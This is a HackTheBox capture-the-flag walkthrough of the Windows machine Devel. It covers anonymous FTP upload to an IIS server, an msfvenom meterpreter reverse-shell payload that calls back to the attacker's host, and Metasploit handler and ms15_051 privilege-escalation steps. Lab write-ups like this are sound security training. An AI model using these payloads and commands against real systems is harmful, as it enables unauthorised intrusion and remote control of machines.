Devel

Platform: HackTheBox | Difficulty: Easy | OS: Windows Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Devel (Windows, attack surface: Microsoft IIS httpd 7.5 (80), Microsoft ftpd (21)). Foothold via the vulnerable entry point; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.10.5 --min-rate 1000

Enumeration highlights

• Detected OS: Windows.
• Open services: ftp (21), http (80).
• Scan used: nmap -p- -sVC 10.10.10.5 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.10.5 --min-rate 1000  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-08 07:35 PDT
Nmap scan report for 10.10.10.5
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.08 seconds

1. Based from the nmap results, the machine runs a web application and opens a anonymous ftp login.

2. Did a small research about the service version for http, found a CVE that could be our interest -> https://www.exploit-db.com/exploits/15803

3. Anyway, let's login to ftp first.

4. Traversing the directory found no files at all.

5. Thing to note, since we're in a ftp server, we need to check if we can upload a file from our local machine to this ftp server.

6. For example let's make our reverse shell payload using msfvenom.

7. We want to save the payload in asp or aspx format file. Why?? Because IIS execute that file.

COMMAND

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.20 lport=1337 -f aspx > reverse_shell.aspx

FLOW

1. Create reverse shell payload using msfvenom.
2. Set listener on the specfied port.
3. run put file.aspx on the ftp server (to download the file from our local machine).
4. Then trigger the reverse shell payload by accessing it --> http://ip/file.aspx.

1. It's stuck there, confused why.
2. Succeed got shell after used the msfconsole listener.

How to setup

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 1337
exploit

1. Seems like we need to do privesc even to get the user flag.

2. Let's run a suggester.

3. Running ps, we know that we don't need to migrate. Because w3wp.exe is used to run webapp for IIS.

RESULT FOR SUGGESTER

1. Awesome! We have many options. But to skip trial and error, let's use the basic module for privesc in windows pentest --> exploit/windows/local/ms15_051_client_copy_image.

2. Got rooootttttt.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.